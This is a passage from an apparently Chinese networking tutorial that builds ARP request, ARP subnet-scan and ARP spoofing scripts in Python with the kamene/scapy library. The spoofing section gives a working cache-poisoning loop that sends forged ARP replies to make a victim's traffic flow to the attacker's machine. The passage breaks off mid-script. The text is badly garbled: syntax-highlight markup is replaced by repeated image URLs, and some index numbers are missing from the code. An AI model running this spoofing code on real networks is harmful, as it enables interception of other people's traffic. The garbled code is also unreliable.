  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">hwdst= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">00:0c:29:5d:2f:55	#返回的是arp响应包,获取到目的映射的MAC地址
  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">pdst= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">192.168.8.128
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">###[ Padding ]###
     https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-attr">load= https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

接下来,咱们玩点复杂的。。。

3. 构造 ARP 请求

https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#!/usr/bin/env python3
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#-*- coding:UTF-8 -*-
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#欢迎关注微信公众号:点滴技术
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#这里有靠谱、有价值的、免费分享、成长的,专属于网络攻城狮的。

https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">import logging

logging.getLogger(https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">"kamene.runtime").setLevel(logging.ERROR)  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 清除报错
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">from kamene.all https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">import *
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">from Tools.Get_address https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">import get_ip_address  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 获取本机IP地址
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">from Tools.Get_address https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">import get_mac_address  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 获取本机MAC地址
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">from Tools.Scapy_iface https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">import scapy_iface  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 获取scapy iface的名字


https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-function">https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">def https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-title">arp_requesthttps://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-params">(dst_addr, ifname):
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 获取本机IP地址
    local_ip = get_ip_address(ifname)
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 获取本机MAC地址
    local_mac = get_mac_address(ifname)
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">try: 
        https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 发送ARP请求并等待响应
        https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#op=1表示请求,op=2表示响应
        https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#当op=1,hwsrc=表示本地mac,hwdst表示广播(首包),psrc表示本地IP,pdst表示目的IP
        result_raw = sr1(ARP(op=https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">1,
                             hwsrc=local_mac,
                             hwdst=https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">'00:00:00:00:00:00',
                             psrc=local_ip,
                             pdst=dst_addr),
                         iface=scapy_iface(ifname),
                         timeout=https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">1,
                         verbose=https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-literal">False)
        print(result_raw.show())
        https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#返回目的IP地址,和目的MAC地址,getlayer(ARP)取整个ARP数据包,
        https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">return dst_addr, result_raw.getlayer(ARP).fields.get(https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">'hwsrc')

    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">except AttributeError:
        https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">return dst_addr, https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-literal">None


https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">if __name__ == https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">"__main__":
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># Windows Linux均可使用
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># arp_result = arp_request('192.168.100.1', "WLAN")
    arp_result = arp_request(https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">'192.168.8.254', https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">"ens32")
    print(https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">"IP地址:", arp_result[https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">], https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">"MAC地址:", arp_result[https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">1])

运行结果如下:

https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">IP地址: 192https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.168https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.8https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.254 https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">MAC地址: 00https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-pseudo">:50https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-pseudo">:56https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-pseudo">:e7https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-pseudo">:d0https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-pseudo">:87

4. 构造 ARP 扫描

https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#!/usr/bin/env python3
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#-*- coding:UTF-8 -*-
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#欢迎关注微信公众号:点滴技术
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#这里有靠谱、有价值的、免费分享、成长的,专属于网络攻城狮的空间

https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">import logging
logging.getLogger(https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">"kamene.runtime").setLevel(logging.ERROR)
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">import ipaddress
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">from multiprocessing.pool https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">import ThreadPool     https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#多线程
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">from ARP_Request https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">import arp_request     https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#返回IP 和 MAC


https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-function">https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">def https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-title">arp_scanhttps://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-params">(network,ifname):
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#要扫描的网段
    net = ipaddress.ip_network(network , strict=https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-literal">False)
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#空列表,存放字符串IP地址
    ip_list = []
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">for ip https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">in net:
        ip_list.append(str(ip))     https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#ip格式转为str,放入ip_list

    pool = ThreadPool(processes=https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">100)    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#线程池并发100
    result = []
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">for i https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">in ip_list:
        result.append(pool.apply_async(arp_request , args=(i,ifname)))
    pool.close()
    pool.join()

    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#存放活跃的IP与MAC的字典
    scan_dict = {}
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">for r https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">in result:
        https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">if r.get()[https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">1] https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">is https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">not https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-literal">None:
            scan_dict[r.get()[https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">]] = r.get()[https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">1]
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># print(scan_dict)
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">return scan_dict

https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">if __name__ == https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">'__main__':
    net = https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">'192.168.8.0/24'
    name = https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">'ens32'
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">import time
    start_time = time.time()
    print(https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">"活动IP地址如下:")
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">for ip , mac https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">in arp_scan(network=net,ifname=name).items():
        print(https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">"IP地址: {} 是活动的,MAC地址是 {}".format(ip , mac))
    end_time = time.time()
    print(https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">'本次扫描花费时间:%%.2f' %% (end_time - start_time))

运行结果如下:

活动https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">IP地址如下:
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">IP地址: 192https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.168https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.8https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.1 是活动的,https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">MAC地址是 00https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-pseudo">:50https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-pseudo">:56https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-pseudo">:c0https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-pseudo">:00https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-pseudo">:08
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">IP地址: 192https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.168https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.8https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.254 是活动的,https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-tag">MAC地址是 00https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-pseudo">:50https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-pseudo">:56https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-pseudo">:e7https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-pseudo">:d0https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-pseudo">:87
本次扫描花费时间:14https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-selector-class">.52

5. 构造 ARP 欺骗

https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#!/usr/bin/env python3
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#-*- coding:UTF-8 -*-
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#欢迎关注微信公众号:点滴技术
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#这里有靠谱、有价值的、免费分享、成长的,属于网络攻城狮的空间


https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">import logging
logging.getLogger(https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">"kamene.runtime").setLevel(logging.ERROR)  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 清除报错

https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">from kamene.all https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">import *
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">from Tools.Get_address https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">import get_ip_address  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 导入获取本机IP地址方法
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">from Tools.Get_address https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">import get_mac_address  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 导入获取本机MAC地址方法
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">from ARP_Request https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">import arp_request  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 导入之前创建的ARP请求脚本
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">from Tools.Scapy_iface https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">import scapy_iface  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 获取scapy iface的名字
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">import time
https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">import signal


https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-function">https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">def https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-title">arp_spoofhttps://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-params">(ip_1,ip_2,ifname=https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">'ens35'):
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 申明全局变量
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">global localip, localmac, dst_1_ip , dst_1_mac, dst_2_ip , dst_2_mac , local_ifname

    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#赋值到全局变量
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#dst_1_ip为被毒化ARP设备的IP地址,dst_ip_2为本机伪装设备的IP地址
    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment">#local_ifname为攻击者使用的网口名字
    dst_1_ip, dst_2_ip, local_ifname= ip_1, ip_2, ifname

    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 获取本机IP和MAC地址,并且赋值到全局变量
    localip, localmac= get_ip_address(ifname), get_mac_address(ifname)

    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 获取被欺骗ip_1的MAC地址,真实网关ip_2的MAC地址
    dst_1_mac, dst_2_mac = arp_request(ip_1,ifname)[https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">1], arp_request(ip_2,ifname)[https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">1]

    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 引入信号处理机制,如果出现ctl+c(signal.SIGINT),使用sigint_handler这个方法进行处理
    signal.signal(signal.SIGINT, sigint_handler)

    https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-keyword">while https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-literal">True:  https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 一直攻击,直到ctl+c出现!!!
        https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># op=2,响应ARP
        sendp(Ether(src=localmac, dst=dst_1_mac) / ARP(op=https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">2, hwsrc=localmac, hwdst=dst_1_mac, psrc=dst_2_ip, pdst=dst_1_ip),
              iface=scapy_iface(local_ifname),
              verbose=https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-literal">False)

        print(https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-string">"发送ARP欺骗数据包!欺骗{} , {}的MAC地址已经是我本机{}的MAC地址啦!!!".format(ip_1,ip_2,ifname))
        time.sleep(https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-number">1)


https://image.z.itpub.net/zitpub.net/JPG/2020-01-08/FE390CFB43B4C0055B59E3A879F2CCB4.jpg"hljs-comment"># 定义处理方法
